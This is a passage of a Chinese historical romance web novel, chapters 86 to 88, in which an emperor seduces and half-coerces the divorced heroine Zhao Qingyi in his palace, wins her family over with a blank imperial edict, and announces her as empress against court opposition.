赵清仪的直觉没有错,宫女一番捣腾后,为她换上舒适薄透的纱裙,甚至还押着她到镜前梳妆。 这是……侍寝? 意识到这一点,赵清仪拔腿要跑。 宫女们接二连三跪下,说她要是出了这道宫门,她们会被打死的。 赵清仪不得不停下脚步。 主要是她跑了也没用,这偌大的皇宫如同囚笼,没有他发话,谁也逃不出去。 便在此时,殿门外响起福贵与其他宫人的声音,“陛下。” 楚元河嗯了声,跨步进来,先前跪在地上的宫女默契起身,迈着碎步退了出去,最后将殿门拢上,隔绝了外界的所有视线。 楚元河幽邃的眼眸一瞬不瞬地落在她身上。 宫人们有心装扮,此刻的赵清仪立在殿中,素色纱裙将她玲珑有致的身段勾勒得恰到好处,巴掌大的粉面染了些许胭脂,端的是明艳动人。 这一路二人僵持着,他也没好好看过她,如今看来,她清减不少。 “饿不饿?朕让宫人传膳。” 熟稔的语气,令赵清仪有些许恍惚,误以为又回到了过去,可当她看清他身上玄色的龙袍,那一丝熟悉感又消失了。 “不必了,我要回去。” 楚元河应得很快,“好。” 赵清仪险些以为自己听错了,他不强留她了? 楚元河兀自上前,牵过她的手,“陪朕看会儿折子,亥时一刻,朕送你回去。” 至此,赵清仪还有些回不过神,他居然就这么松口了,答应送她回去。 这是她想要的结果,可是…… 看着对方平静淡然的神色,她又隐隐觉得不太舒服。 出神的功夫,她被牵至御案前,楚元河先坐下,随后拍了拍自己的大腿,“过来,坐这儿。” “不要。”赵清仪警惕起来,他花招太多,防不胜防。 楚元河刚回京,积攒的朝事繁多,过来时眉眼间明显带着疲惫,眼下却又轻松起来,冲她挑眉,“朕一言九鼎,你就陪朕待一会儿,会送你回去的。” 他又拍了拍腿,“若是错失良机,回头你可别哭。” 赵清仪权衡再三,忍了,距离约定的时间不到半个时辰,忍一忍,风平浪静。 她慢慢挪过去,站定在御案一侧,主动拾起墨条,与他保持距离道,“陛下您忙,臣女就在这里。” 楚元河没给她偷奸耍滑的机会,耐心重复一遍,“过来。” 见她不动,长臂一伸将她抱了过来,寝殿内的龙椅虽大,却不足以容纳两人同坐。 脊背触及他滚烫的胸膛,赵清仪就要站起来,男人却掌着她的腰往下按,她再度跌坐回去。 与此同时,楚元河发出一声压抑的闷哼。 赵清仪察觉到后腰的存在,羞得满脸通红,扶着御案的细指都快掐断了,“……你别说话不算话!” 就知道这人不老实,喊她过来准没好事。 “脾气还真大。”楚元河既恼火,又无奈,埋在她后脖颈处长吸口气,淡淡的馨香勉强平复了躁动,“既然知道朕是什么人,你就该好好配合,免得惹朕生气,你也不好受……” “我已经不好受了。”赵清仪没好气道,“你要看折子就快些松开。” 这样还怎么看,逗她玩呢? 楚元河“啧”了声,饶有兴味道,“你在关心朕?” 赵清仪的语气很冲,“谁关心你了?” 楚元河故意将她抱得更紧,对答如流,“那换朕关心你一下,你哪儿不好受了?” “……” 赵清仪再次败下阵来。 男人双臂环抱着她,调整了一个舒服的姿势,“其实般般你根本就不想逃,对吗?” 她对他有过愤怒,气恼,羞耻,却从未有过一丝一毫的厌恶,厌恶一个人时,眼神是藏不住的,譬如她看李彻。 他还听说,赵清仪拒绝旁人时会用簪子划伤对方,可她对他也没有。 他屡屡侵占她,她只会哭,会闹,或是做出生气的模样,只会说狠话,那狠话也就点到为止,甚至不如当初在黑风寨说得扎心。 这根本就是欲迎还拒。 楚元河的心柔软许多,亲昵地咬着她的耳垂,拔下她发髻间的凤钗送入她手中,“给你个机会,只要你做了,朕就相信你说的话……” 赵清仪眼瞳震颤,攥着凤钗的手都在抖,耳垂又是她的敏感处,只要靠近,那种麻麻痒痒的感觉便来了,此刻又被他逼迫着,她眼睫扑闪个不停。 男人的吻自身后落下,“朕不是拿得起放不下的人……” 如果她真的要走,真想和他一刀两断,他不会强留。 机会已经送到她手里了,只看她如何抉择。 赵清仪垂眸看着手里的凤钗,那是楚元河当初送给她的定情之物,如今,他却要她握着这只凤钗刺向他,以此证明她离开的决心。 她缓缓攥紧,好几次抬起手又放下。 ……楚元河简直是在强人所难! 而这个男人,完全没有性命攸关的紧迫感,还在她颈侧亲吻逗弄着。 她闭上眼,想努力忽视他的存在,可他的亲吻又……实在让她觉得很舒服,很亲近。 她真是太没用了。 为什么偏偏生不起气来?难道真是色令智昏? 因为楚元河生了副好皮囊,又是高高在上的帝王,却只偏爱她一人,所以她就毫无原则的沦陷了? 这完全脱离她的计划,她才不要原谅这个骗子,思及此,她又举起凤钗,要让这个男人好看,为欺骗她付出代价。 只是一看见他的脸,看他如最虔诚的信徒般亲吻着她,俊美的容颜满是对她的恋慕珍视…… 赵清仪要疯了。 她自暴自弃丢了手里的凤钗,又不想让他看出她的不舍,于是强迫自己移开视线,嘴硬道,“你是不是想害我?这是在宫里,我若刺伤了你,禁军岂能放过我?” 楚元河停下亲吻,瞥了眼地上的凤钗,黑沉沉的眸子重新锁在她脸上,已然看出了她的真心。 他无声翘起嘴角,“那朕向你保证,无论发生什么,朕都不会让他们伤你,如何?还要动手吗?” 磁沉的嗓音循循善诱,“机会只此一次,还是……你嫌发钗不够锋利?” 见她许久不答,楚元河又从御案上摸出一柄匕首递给她,顺便仰起脖颈送到她面前,“用这个……动手吧。” 他一副胜券在握的神情,赵清仪就知道自己又输了。 她再次扔开匕首,一脸懊恼,气急败坏,也不喊陛下了,没有半分的恭敬直呼他的名姓,“楚元河,你是不是有病?” “是,朕有病,病得快要死了。” 楚元河在此时豁然起身,反手将她按进龙椅里,“所以朕需要你,只有你才能治好……” 他喘得厉害,意图昭然若揭。 赵清仪又给了他一巴掌,“清醒了吗?” 堂堂帝王,又做出这副可怜兮兮的样子来哄骗她。 楚元河那好看近妖的脸浮现出浅浅的红印,他不仅不生气,反而嘴角噙着愉悦,“打得爽快么?” 赵清仪愣了愣,这什么话?! “给你机会杀我,好让你解气,结果就只是一巴掌?”男人神情惋惜,叹息一声。 这于他而言根本谈不上惩罚,更像调.情,又说赵清仪若喜欢,可以多打几下。 赵清仪觉得他更有病了。 打他巴掌还给他打爽了?他的尊严呢? 她还不知男人心里在打什么主意,楚元河已经趁机单膝压上她的裙摆,慢悠悠解下自己的腰带。 “你干什么?” 在赵清仪惊愕的目光下,他用解下的腰带慢条斯理捆住她的手,“机会转瞬即逝,般般抓不住,就怨不得旁人,如今……该轮到朕了。” 赵清仪脑中嗡鸣,膝弯已然挂在龙椅扶手上。 第86章 第86章“害羞什么?睁开眼看清…… 意识到他要做什么,她红着耳根,“你……你住手!” 这是在紫宸殿!她身下是龙椅! 他居然要在这里…… 不等她再想下去,她便靠在椅背上呜咽起来。 楚元河对今日侍奉赵清仪的宫女还算满意,这身衣裳挑得好,好看也方便,多余的一样没有。 赵清仪紧张极了,她向来保守,喜欢稳妥,同样也喜欢熟悉的环境,皇宫于她而言是陌生的,帝王的寝殿,帝王的龙椅,更是让她陌生到害怕。 本就坐如针扎,他还…… 赵清仪羞到闭眼。 楚元河的耐心不多了,吻开之后,兵临城下。 一声短促的哭声回荡在紫宸殿内,踩在龙椅边缘的白皙的足趾忍不住蜷缩起来。 守在殿外的宫人们吓一大跳,方才得了吩咐来为县主沐浴更衣时,她们多多少少有所猜测,可真真切切听到动静,还是觉得震惊。 福贵赶紧用眼神警告她们谨言慎行。 县主还没有完全做好接受陛下的准备,倘若她们当中有人说漏嘴,将县主与陛下的关系泄露出去,惹得陛下与县主又生隔阂,她们这些人就得去陪葬。 宫人得了警告,纷纷低头眼观鼻,鼻观心,只是声音总会断断续续从殿内传出,听得出来,陛下对宸华县主很是喜爱。 若非亲耳听到,她们都不敢相信,一向清心寡欲,后宫冷清的陛下,会对一个和离妇…… 哦不,她们不敢提这三个字,太皇太后早有旨意否认了县主与李家的婚事,在世人眼中,县主就是清清白白的,之前宫人们没多想这一举动的深意,如今么…… 只能说,陛下这是早有预谋,什么都安排好了,如此大费周章,就是为了来日迎娶县主吧,赵大人又刚从浙江回来,立了大功,顺势立后也说不准。 思及此,宫人们神态越发恭敬。 殿内的动静持续了小半个时辰,县主似乎一直在哭。 说哭好像又不太准确,从那音调里判断得出,县主并非委屈难受,反倒是…… 宫人中有些年岁大的,听出了端倪,脸红不已。 陛下真是……年轻力壮,把县主那般端庄稳重的姑娘疼爱得只会哭了。 寝殿内,赵清仪是真的怕了。 楚元河回到属于自己的领地,行事不再收敛,放纵恣意,一张龙椅不够,御案也用上了。 赵清仪摇晃的视线里,书卷折子散了一地,砚台也摔在金砖铺就的地面上,先前她研磨好的墨汁全溅了出来,一会儿宫人们进来收拾,不知该怎么想她,这里头发生过的事根本藏不住。 她脸皮薄,光是想想,两颊就烧得慌,想找个地缝钻进去。 楚元河不满极了,单手钳住她脆弱的脖颈,沁着薄汗的宽阔胸膛贴上她纤细的脊背,“是朕做得不好,让你如此分心?” “我、我没有……” 赵清仪气息颤乱,双手扶着御案抵死狡辩。 “是吗?” 楚元河显然不信,一口咬住她后脖颈的软肉,赵清仪疼得哼出了声。 “撒谎骗人,是要受到惩罚的……” “明明是你骗我在先……”赵清仪快怄死了,他是真记仇,她不终止惩罚他的游戏,他便也不会停止。 “行,就让你一回。” 楚元河揽过她的腰,将她带到内殿,那是她方才更衣的地方,有一扇酸枝木雕云龙纹落地铜镜。 赵清仪根本站不稳,脚下踉跄着朝落地镜跌去,不经意的一瞥瞧见了镜中的自己,她羞得慌忙移开视线。 楚元河却硬是钳住她的下巴,强迫她看向铜镜。 他很早就想这么做了。 赵清仪被他胁迫着,不得以靠向那扇落地镜,双手撑着镜面勉力站稳,冰凉的触感自掌心传来,她看到了镜中双颊绯红,哭得梨花带雨的自己。 也看到了立在她身后,密不可分的楚元河。 “……” 赵清仪紧紧闭上双目。 太难堪了。 对方却还在她耳畔低语,“害羞什么?睁开眼,看清楚……” 那声音仿佛自带蛊惑人心的力量,赵清仪扶着落地镜,眼睫颤个不停。 若非亲眼所见,她根本不敢相信镜中人就是自己。 和他在一起时,她……原来是这副样子么? “看清楚了?” 楚元河像是洞穿了她的心思,将她整个人圈在落地镜前,“这就是真实的你……省得某些人嘴硬不肯承认……” “般般,承认你爱我,承认你舍不得我……” 镜子里分明倒映出了她最真实的模样,她还要强撑到什么时候? 赵清仪不想听,“你别说了……” 男人眸色一厉,忽然加重力道,“有本事你看着自己,说你不需要我……” 外头的宫人们又听到了哭声,这一次哭声里终于有了哀求。 被人掌控的感觉太奇怪了,赵清仪想反抗,可是身子不听使唤,她也没有反抗的能力,终于在这场狩猎般的游戏中承认了。 她舍不得他。 可是…… “我舍不得的是我的外室,和陛下你毫无关系!” 楚元河唇边的笑意刚扬起来,转眼迅速消失。 紫宸殿外的宫人们听到一阵高过一阵的哭吟,个个心惊胆战。 原先约定的时辰早就过了,熬到后半夜天色蒙蒙亮起,帝王餍足慵懒的嗓音终于响起,唤人进去伺候。 福贵特意安排过,年轻的宫女一律遣出去,进殿收拾的都是宫里有些年岁,知事理懂分寸的嬷嬷,饶是如此,嬷嬷们瞧着一殿的狼藉,还是在心里感慨了一句。 陛下与县主真是……年轻啊。 楚元河还抱着她,在她耳畔轻声说句什么,便松开手。 赵清仪耗尽了力气,并未回应他的话,任宫人摆布,沐浴净身,一切做完,天色彻底大亮。 楚元河安排了步辇,由福贵亲自领路送她回府,同行的还有不少禁军护卫四周,一是确保无人冲撞她,二来也是防止她逃跑。 他是答应送她回府,却没说过要放了她。 檀月俏月提前得了消息在角门候着,福贵把人悄悄送到便回宫复命去,只留下二十几个禁军闯入赵家,将揽月阁团团围住。 面对两个婢子疑问惊恐的眼神,赵清仪连抬起眼皮的力气都没有,回房睡了足足五个时辰才醒。 醒来后,赵清仪就想出门,她还没得及看看父亲还有表哥,想必表哥已经回到孟家了,不知可有受伤。 结果才出院门,就被禁军拦下。 她气恼不已,“我在自己家还要受你们摆布?让开!” “县主息怒,这是陛下的意思。” 眼看赵清仪要发怒,檀月俏月赶紧过去拉住她,也跟着劝。 就在赵清仪补眠的几个时辰里,宫里送来流水般的赏赐,两个婢子才从老爷与大夫人的对话里拼凑出了事情的全貌,终于知道她们认识的那个平西郡王不是郡王,而是宫里的皇帝陛下。 如今陛下非县主不可,但县主还在同陛下置气,婢子们得了吩咐,要想办法开解她。 听到婢子们劝和的声音,赵清仪难以置信,“你们也被收买了?” “不不不,这是……这是老爷的吩咐!”俏月机灵地把矛头转移给自家老爷,“老爷发话了,奴婢不敢不从啊……” 俏月的话提醒了赵清仪,她还有满肚子的怨气要同父亲发泄,为何回京路上,父亲要把她推给楚元河?有他这样当爹的吗? “我要见我父亲。”赵清仪重新回到院门口,“陛下没说过,我不能见自家人吧?” 禁军们对视一眼,打算去请赵大人亲自过来一趟。 没等他们去请,赵怀义已经朝这边来了,身后还有十几个粗使抬着各种各样的赏赐。 见到女儿,赵怀义脸上满是欣慰,“般般,快看,这些都是陛下给你赏赐,先前你睡着,为父怕吵到你,便没送过来,你看看要把这些东西放哪儿合适?” 赵清仪投去一个诧异的眼神,这才多久没见,这么就跟换了个爹似的? 父亲不是最清楚她的想法吗?她们赵家就该齐心协力与陛下撇清关系啊! 这乐颠颠接受赏赐是怎么回事? “父亲……” 她刚要开口,赵怀义抬手打断她,“父亲知道你想说什么,不过你还是先看样东西,再做决断也不迟。” 赵怀义将女人引到院中的凉亭下,才从袖中取出一卷明晃晃的圣旨。 赵清仪脸色一白,以为是召她入宫的圣旨,打开一看,里头却空白一片,只在末尾盖了两枚玺印。 她凑近看,其中一枚竟然是太上皇的。 太上皇与当今陛下都盖过印的空白圣旨,居然在父亲手里,那岂不是…… 赵清仪的心猛然狂跳,“父亲是因为这个,才……” 赵怀义捋着胡须长叹一声,点了点头,“就在我们启程回京之前,陛下将这东西给了我,还附带了一份丹书铁券,而陛下的条件……是你。” 他并非卖女求荣之辈,那日他主动找到楚元河,本意就是为了撮合他二人,自己女儿当局者迷,看不清自己的心,而他作为父亲,旁观者清。 女儿动了真心,只是作为嫡长女,她有家族的顾虑,一切摒弃了个人的情爱只谈利益,可他作为父亲,私心里只想女儿幸福安稳。 而眼前就有一个不错的选择。 撇去身份不谈,楚元河处处维护般般,爱护般般,甚至爱屋及乌,善待赵家每一个人,就已经过了他这一关。 如今赵家忌惮的无非是帝王的身份,担心女儿一入宫门深似海,再无回头路,楚元河便拿出这份空白圣旨,生怕分量不够,还加盖了太上皇的玺印。 来日无论赵家遇到任何困境,有这份圣旨在手,皆可保赵家无虞,便是来日楚元河自己反悔了,在太上皇的玺印面前,他也得低下头来。 但这还不是最要紧,赵怀义是震撼于帝王对赵家的信任,如此全心全意的交付,也值得他把女儿交给这个男人。 真心本就可贵,更遑论这是帝王的真心。 赵清仪捧着圣旨的手轻轻颤抖。 一切似乎都说得通了,父亲的反常,还有她离宫前,他的胜券在握。 楚元河抱着她同她说的最后一句话,“这次朕放你回去,倘若你还是决定离开,再不回头,朕便就此放手。” 她以为他彻夜折腾,是新鲜感快过去了,才会说那番话。 原来,是他早早将自己的软肋交到父亲手里,赌她的原谅与回头。 事实证明,还是他赌赢了。 “真是一个……胡作非为的疯子。”他就不怕赵家谋反,给他写个禅位圣旨吗? 他总是这样,害她又想哭又想笑。 一颗泪水从眼睫处滚落,溅在空白的圣旨上,赵清仪将圣旨卷好还给父亲。 赵怀义看她眼眶通红的模样,便知女儿的决定,试探问道,“那这些东西,是搬到你院里,还是……送到你外头的宅子里?” 回府后,他从妻子孟氏口中得知,陛下伪装平西郡王时,就时常偷偷翻墙进来与女儿“私会”,既然要“私会”,那肯定是外头的宅子更掩人耳目。 不过这样的日子应当不会持续太久,女儿心软了,陛下那边应该很快就有动作。 赵清仪听出父亲的弦外之音,脸又红了,“女儿回家就是看看父亲,既然父亲母亲安好……” “行行行,这就让人送你过去。”赵怀义暗叹一句女大不中留,还是给女儿留了体面,回头,他该好好准备女儿的嫁妆了,饶是二嫁,那也得风风光光的。 这次禁军没有阻拦,跟着赵清仪的马车一同去了赵宅,他们全作护卫装扮,一路上并未引起过多关注。 到了赵宅,管事妈妈便笑呵呵地前来相迎,吩咐下人将一箱箱的宝物搬去揽月阁,赵清仪才注意到,这成堆的赏赐中,居然还有那扇酸枝木雕云龙纹落地镜。 只不过送来的落地镜已经擦拭得干干净净,半点痕迹也无。 “……” 夜里梳洗后,赵清仪在榻上辗转反侧,只要一转到外头,就能瞧见那扇落地镜,看到她,脑海中就会不由自主地浮想联翩。 夏日本就燥热,一想更是发闷。 赵清仪索性起身,准备将那扇落地镜藏到帘子后,眼不见为净。 刚坐起来,敞开的窗楞发出哐当一声闷响,吓得她手一哆嗦,见到来人,她更是像做贼似的只想逃。 楚元河翻窗进来,三步并作两步拉住她,“我是狗么,见了我就躲?” 他翻窗的动作,进屋的时辰,都让赵清仪觉得熟悉,让她误以为是她的外室回来了,当下便脱口而出,“你连狗都不如。” 说完,室内静默了一瞬。 楚元河低笑出声,“你非要这么说……也没错。” 他略微松了力道,掌心里温热的细腕并没有挣脱的迹象,他便明白自己赌赢了。 楚元河一把将人拽入怀中,揉着她散落的青丝叹道,“这么晚了,盯着落地镜不睡,在想什么?” 第87章 第87章立后。 “陛下日理万机,还能得空来我这?” 赵清仪不想再被对方牵着鼻子走,生硬地转开话题。 楚元河并不戳破,顺着她的话道,“立后也是朝中大事。” 赵清仪听出他的试探之意,不过她还需要一点时间适应,遂又端正神色,转而问起浙江的事。 她肯心平气和地交流,于楚元河而言已是莫大的让步,便顺着她的话题将近日朝中大事说与她听。 岐王虽死,部下的势力仍盘根错节,尤其对方与王家有诸多牵扯,而派去浙江调查的官员与锦衣卫还在取证中,王家这段时日为了自保手段频出,算是与帝王明面上较劲了。 世家屹立大梁百年,想要拔除他们的势力并非一朝一夕之功,楚元河做好了持久战的准备,不过对赵家的封赏内阁已经商定好了。 赵清仪听罢并无太多喜色,赵家此番稳赚不赔,封不封赏都不要紧,其实她想问的,还有李彻。 “他……被你带回京了?” 楚元河抱着她的臂膀微微僵硬,语气沉了下来,“你关心他?” 赵清仪闭了闭眼,“我就这么一问……” 在钱塘的时候,她就感觉李彻与楚元河之间有秘密,本想找机会向李彻求证,后来也没见到,倒是那晚迷迷糊糊的,楚元河在她床前自行*交代了前因后果。 如今她能肯定,她和李彻都是重生的,而楚元河大抵是做了怪梦,从梦中预知了原本会发生的事,继而出手干预,处处挤入她的生活,这才出现了偏差。 而她方才多问那一句,只是好奇楚元河要如何处置李彻。 “我来了这么久,你都没关心过我。” 如何处置李彻,楚元河还在考虑中,反正不想让那人死得太痛快,但眼下他不希望这个人的名讳出现在他与般般之间,更不想因为这个人,再让般般误会他。 楚元河不满道,“我一宿未曾合眼,白日又要上朝又要批折子,忙到现在赶来见你,你开口就提别的男人?” “……” 赵清仪睨了他一眼,是她不让他合眼吗? 但见楚元河眼底的两抹青黑,到底是心软了,让他到榻上睡,算是给了彼此一个台阶,结束这场争执。 这一夜,两人久违的和谐,直至天亮。 赵清仪睁眼时,身旁的被褥已经凉了,婢子进屋伺候,一人提着两只食盒,面上喜气洋洋的,“县主,这是陛下命人偷偷送来的,陛下说县主清减许多,特意让御膳房按照您的口味做了几样小菜点心,县主起来尝尝?” 曾经她们以为的郡王,一跃成了尊贵的皇帝陛下,而陛下却还一如既往地偏宠县主,檀月俏月两个婢子既替主子高兴,也觉面上有光。 那可是高高在上的陛下,一国之君,却甘愿拜倒在县主的石榴裙下,如今外头守着的那帮禁军,瞧见她们两个婢子都得恭恭敬敬的,极大满足了婢子的虚荣心。 尤其是俏月,一想到陛下或许早就觊觎县主,她便激动地拉着檀月哇哇叫,都是正值芳华的少女,若有人也这般真心待她,她做梦都能笑醒。 这么一想,俏月更激动了,还在私下里将县主与陛下相知相许的过往一一捋顺写下来,越写越觉得自己的揣测没错,陛下就是早有预谋。 在她们县主还是李家妇时,陛下就倾心她们县主,不然怎么解释县主新婚夜当晚,陛下急急忙忙将李彻调离京城三年? 那不就是吃醋在乎吗? 俏月如此揣测,便也笑嘻嘻地说了出来。 正在用膳的赵清仪呛了一口,她还真没俏月想得多。 檀月一边给主子端茶倒水,一边摇头叹气,央求赵清仪快些将俏月许了人家嫁出去,“县主您不知道,俏月如今可出息了,都该拿您的事编排话本子,依奴婢看,她就是想嫁人了……” 俏月羞红脸,追着檀月满屋子乱跑,主仆三人笑成一团。 金銮殿上,却是腥风血雨。 王家在浙江的布局彻底被打破,新政顺利推行,世家门阀岌岌可危。 一个早朝,楚元河处置了忠勇伯府在内的好几座府邸,皆是贪墨兼并土地之罪,还有的是闹出了人命,数罪并罚之下,几乎都是抄家流放的下场。 这其中大多是旁支末流,但忠勇伯却实打实与王次辅有姻亲关系,而他恰好是被罚得最重的那个,数条罪名之中,还有一条是他曾派人刺杀宸华县主。 忠勇伯被判秋后问斩,入狱前,还得扒了裤子廷杖七十。 禁军入殿拖人时,忠勇伯毫不犹豫喊起王次辅,央求他救命。 王次辅立在文官前列,额上满是冷汗,如今早朝,君臣之间不再隔着珠帘屏风,他能清晰感受到年轻帝王犀利的眸光。 忠勇伯府……算是彻底废了。 尤其伯府所犯的罪证据确凿,他若开口求情,下一个要被斩首流放的就是王家。 忠勇伯的求饶声越来越远,拖至殿外廷杖时,惨叫声响彻整座金銮殿,所有人屏住呼吸,大气都不敢喘,他们心知肚明,陛下这是杀鸡儆猴。 忠勇伯一把年纪,没能抗住廷杖,当场咽了气。 楚元河见惯鲜血与杀.戮,区区廷杖,他连眼皮都没动一下,忠勇伯的事情过后,他便让司礼监宣读立后圣旨。 此前百官只知陛下从浙江回来时,身边带了一位女子,纷纷在私下打听来历,可惜陛下藏得太好,那女子身份至今成谜,便有人猜测那女子或许出身不显,只是陛下养在宫外的一个外室罢了。 一个出身平平的外室,即便飞上枝头,位份也高不到哪儿去,那些想把自己女儿塞进后宫为妃为后的官员,自认还有机会争一争,便没过多探究,却不料圣旨一出,就是立后。 当众人听到宸华县主的名头,皆是目瞪口呆。 王次辅大惊,顾不得先前的敲打,立即出列反对,言辞间无非是认定赵清仪曾嫁过人,即便有太皇太后的懿旨,也不可否认她嫁过人的事实,且明眼人都看得出,懿旨就是自欺欺人的把戏,糊弄百姓可以,糊弄不了他们这帮朝臣。 一个二嫁妇怎配国母之位?传扬出去定会遭邻国耻笑。 王次辅一站出来,他的拥趸也接二连三出来劝阻,而这其中居然还有赵怀良。 他位卑言轻,此刻说的话却是震惊朝野,“陛下万万不可,且不说县主曾嫁过人,光是县主私德有亏,品行不端,便不堪皇后位!” 赵怀义身为阁臣,自然站在文官前列,听到弟弟的声音,他颇为惊讶,旋即便是恼怒,“一派胡言!赵怀良,那可是你亲侄女!” 回京当日,妻子孟氏便与他说起家中发生的诸多琐事,他听罢后气愤不已,同意妻子分家的决定,只是刚回京急需处理完浙江事宜,家事只能暂且搁置,打算等朝政处理完了再同二房清算。 关于二弟纵容方姨娘犯下的糊涂事,他都是从旁人口中听来的,今日却真真切切看着二弟在金銮殿上污蔑他的女儿,赵怀义岂能不怒。 赵怀良做出不卑不亢的姿态,“微臣是帮理不帮亲,县主纵然是微臣的侄女,微臣也要站出来说句公道话!” 赵怀义气到脸红脖子粗,自己这个弟弟真是狗急跳墙,装都不装了。 赵怀良无视他愤怒的眸光,淡然阐述赵清仪婚内与外男有染一事。 此事曾在乔张两家的婚宴上闹得沸沸扬扬,结果却是推出了方姨娘的丑事,在场众人在京中皆有耳目,对此略有耳闻,并不在意。 谁料赵怀良话锋一转,“此前所有人都以为,县主是与小叔子有染,实则与她无媒苟合者另有其人,臣亲眼所见!” 当初他找到出狱的李彻,李彻神色恍惚,仿若受了很大的刺激,后来他专门派人查过,得知李彻那日在赵清仪的宅子瞧见了一个男人。 他私下也找罗氏与李素素审问过,她们皆言之凿凿证明有个男人与赵清仪早有往来,而那个男人究竟是谁,罗氏与李素素就不得而知了。 可赵怀良猜到了,那人多半就是陛下,伪装成平西郡王的陛下。 因为当日李彻没头没尾地问了一句,“平西郡王与陛下生得有几分相像?” 再后来,“平西郡王”在浙江暴露身份,他们才得以见到陛下真容,若非如此,百官还会继续被这位狡诈多变的帝王蒙在鼓里。 而今日,陛下忽然要册封赵清仪为后,又一次肯定了他的猜测。 兄长赵怀义立了大功,赵清仪又即将封后,接下来王家为首的世家望族将会相继倒台,届时他投靠王家的事就会败露,一同遭到清算,以兄长的性子,肯定会选择大义灭亲。 横竖逃不过一死,他要多拉些人给他垫背! 赵怀良破罐子破摔,拿出一封李彻早早写好的血书,直接道明赵清仪婚后并未圆房,倘若后者清白,一验便知。 他深知陛下与赵清仪早有私情,二人不可能什么都没做,他倒要看看,高高在上的帝王这下该如何收场? 是弃赵清仪保全自己的名声,还是为了赵清仪不管不顾? 一时间,赵怀良脑海中掠过无数个念头,低垂的眉眼间藏满恶意。 赵怀义气到浑身发抖,万万没想到有朝一日,弟弟会在朝堂上背刺自己,这是要毁了整个赵家! 楚元河如何揣测不出对方的恶意。 验身?简直可笑。 就算他在赵清仪未和离之际便插足其中又如何? 他是皇帝,又不是任人摆布的傀儡,他想要什么样的女子,他自己说了算,太皇太后都管不到他头上,区区一个臣子,简直找死。 但他必须为赵清仪正名。 “朕欲立宸华县主为后,是看重她的才干与悲悯之心,诸位爱卿有所不知,新政之所以能顺利推行,背后少不得县主出谋划策,包括去岁冬末江南等地受灾,县主也曾献上救灾之策,过后流民入京,县主广施粥棚,接济流民……桩桩件件足可证明,此女子绝非池中之物,纵然她是二嫁三嫁,只要朕觉得合适,她就是当之无愧的皇后!” “朕要的是能与朕势均力敌的皇后,而非什么都不懂的娇小姐,试问这满朝贵女,有何人可与县主匹敌?” 王次辅都听愣了,陛下这诡辩的功夫堪比御史台了。 分明就是私心,说得如此冠冕堂皇。 楚元河这番话说得慷慨激昂,已经有臣子动摇,觉得陛下说得在理。 王次辅还在据理力争,扬言后宫女子不得干政,赵清仪还没入宫,竟也开始对朝政指手画脚。 等等……方才不是说要让赵清仪验身吗? 管陛下如何诡辩,只要验了身,赵清仪就没有入宫的资格,而验身又是个极侮.辱人的事,这代表了帝王与朝臣的不信任。 可眼下已经没人关注这个问题了,都在议论女子是否有权干涉朝政。 陛下的态度更是古今罕见,居然开始与朝臣们商议让女子参加科举入朝为官? 这怎么行! 先前县主闹和离已经够让他们头疼了,如今再让女子有了入朝为官的资格,那岂不是要让女人翻了天去? 楚元河此番言论专治百官各种不服,但凡是不服气赵清仪做皇后,只要家中有女儿有侄女的全被拎出来数落一遍。 他似笑非笑,态度亲和道,“若爱卿家中的小姐夫人们能同县主一般为朝廷分忧,朕也能给她们相应的一官半职,如何?” 这不胜过入宫为妃? 先前还在议论赵清仪是非的朝臣们安静了一瞬,面面相觑后,竟真有人认真考虑起来。 若是女子也能凭本事谋个一官半职……似乎也不是不行。 如此一来,家中的女儿们除了嫁人联姻,似乎又多了一条更宽阔的出路,凭本事立足,总好过小心翼翼看夫家脸色。 站在男人的角度,他们的权威受到挑衅,可站在父亲的角度,又觉得如此甚好。 再往深了想,若自己夫人也有县主那般的本事,在朝中占有一席之地,岂不是与他们强强联合? 很快,百官的心思活络起来,只有部分老顽固在严词反驳,认为此举有违纲常。 一直沉默的张首辅突然站出来为自家女儿争取,若陛下此言当真,他张家后继有人了。 王次辅:“……” 不是,陛下的话能当真?张淮虚脑子被驴踢了吗? 旋即他又反应过来,自己又被带进沟里了,眼下要紧的是阻止陛下立赵清仪为后!谈什么女子入仕! 女子就该温婉贤淑,相夫教子,能入宫就能为家族带来荣耀! 不阻止陛下立后的决定,将来他们各家的姑娘就没有入宫的机会了,他们到底懂不懂啊! 王次辅频频给自己手底下的官员们使眼色,结果搭理他的人寥寥无几。 曾经或许他们会唯王家马首是瞻,因为王家有个太皇太后,王家女又极有可能成为皇后,王家地位不容撼动,他们若追随王家,将来或许还能从中分一杯羹,运气好的,自家女儿也能送进宫里,与王家女争一争宠。 可如今事态变了。 太皇太后不管事,皇后之位又落到赵家女头上,而浙江一事王家牵扯到岐王损失惨重,原先的追随者不由对王次辅生出怀疑。 如今,陛下又给他们另谋出路的机会。 官家贵女不是只有联姻或入宫两条路可走,倒不如收敛不该有的心思,与王家划清界限,将来再各凭本事…… 百官心里盘算着在未来的局势中要如何自处,再没功夫去批判赵清仪的私事。 赵怀良一脸懵然,不明白事情就发展成这样了。 大家难道不该齐心协力攻讦赵清仪与陛下的私情吗? 第88章 第88章大势已去。 赵怀良还想争取两句,被周围的同僚撞了个趔趄,所有人都明白,立后的旨意一出,就意味着朝局更迭,他们眼下该考虑的是如何在朝局更迭中立足,甚至是取代某些世家大族的地位。 至于谁做皇后,对他们来说根本不是最重要的事。 即便拉下赵家女,也有王家女,谢家女顶上,和他们没多大利益关系,他们不会做吃力不讨好的事。 王家,大势已去。 随着黄内侍一声“退朝”,百官跪地恭送,过后便是热火朝天的议论,彼此交换主意,越来越多的人选择维护新政,不少世家也决定低调行事,收敛锋芒,该交的权交还帝王,兴许还能保一族富贵。 至于赵怀良,因污蔑皇后惨遭贬职,念在他是赵家族人的份上免去一死,不日将流放西北服役。 王次辅仍不死心,散朝后着急忙慌赶去永寿宫求见太皇太后,想让太皇太后出面阻止楚元河立后,即便立后,后位也该是王家的! 王盈雪自出生起,就被家中灌输她是未来皇后的念头,这十多年来,她一直以皇后的标准要求自己,为了入宫拖到这个年岁仍未定亲,王家不能功亏一篑! 只要王盈雪能入宫,王家就还有挽回的机会。 太皇太后这段时日沉迷吃斋念佛,听到嬷嬷禀报王次辅求见,当下便回绝了,让人回去,无奈王次辅要死要活,直言若见不到太皇太后便在永寿宫外长跪不起,不得已只能将人领进来。 王次辅早没了从前的运筹帷幄,猛的跪在地上,老泪纵横恳求太皇太后出面。 太皇太后面色古怪地看了他一眼,到底没忍住斥骂他老糊涂。 先前他一门心思要把女儿送进宫,她还真当王次辅之事野心勃勃,想要维系世家门阀的荣耀,可后来他为了利益,居然瞒着她与岐王勾结! 